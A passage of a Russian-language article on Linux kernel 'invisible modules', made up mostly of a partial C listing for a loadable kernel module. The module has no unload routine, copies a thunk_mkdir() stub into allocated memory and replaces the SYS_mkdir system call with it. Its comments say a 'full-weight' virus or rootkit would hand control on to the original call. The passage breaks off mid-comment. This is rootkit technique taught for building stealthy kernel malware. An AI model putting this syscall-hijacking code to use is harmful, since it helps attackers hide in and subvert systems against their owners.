Призраки ядра или модули-невидимки




Рисунок 4 механизм реализации системных вызовов в LINUX


В качестве "шасси" мы будем использовать "скелет" LKM-драйвера, приведенный в уже упомянутой статье "прятки в linux". Фактически, мы только выбросим процедуру cleanup_module(), выполняющуюся при выгрузке модуля из памяти (ведь наш модуль никогда не выгружается! во всяком случае в традиционной трактовке этого слова), добавим функцию thunk_mkdir(), замещающую собой старый системный вызов SYS_mkdir(), и напишем несколько сток кода, обеспечивающих выделение памяти, копирование thunk_mkdir() и подмену оригинального SYS_mkdir'а. Если отбросить комментарии, на все про все понадобиться менее десяти строк на языке Си! (краткость — сестра таланта).

Предлагаемый вариант реализации выглядит так:

// сообщаем компилятору, что это модуль режима ядра

#define MODULE

#define __KERNEL__

// подключаем заголовочный файл для модулей

#include <linux/module.h>

// на многоЦП'шных машинах подключаем еще и smp_lock.h

#ifdef __SMP__

       #include <linux/smp_lock.h>

#endif

// подключаем файл syscall.h, в котором перечислены все

// системные вызовы (в т.ч. и необходимый нам SYS_mkdir)

#include <sys/syscall.h>

// не нужно использовать linux/malloc.h, чтобы не ругался

// компилятор, вместо этого возьмем linux/mm.h

// #include <linux/malloc.h>

#include <linux/mm.h>

// заглушка на функцию SYS_mkdir, всегда возвращающая -1,

// т.е. блокирующая всякую попытку создания директории с

// сообщением об ошибке ;) естественно, в "полновестном"

// вирусе или rootkit'е здесь должен быть обработчик,

// передающий управление оригинальному системному вызову

thunk_mkdir()

{

       return

-1;    // директория не создается ;-)

}

// чтобы определить длину функции thunk_mkdir,которую мы

// собираемся копировать в выделенный блок памяти, будем

// исходить из того факта,что порядок объявления функций

// в файле совпадет с их размещением в памяти,(в 99% все

// именно так и происходит!), тогда нам останется только




Содержание  Назад  Вперед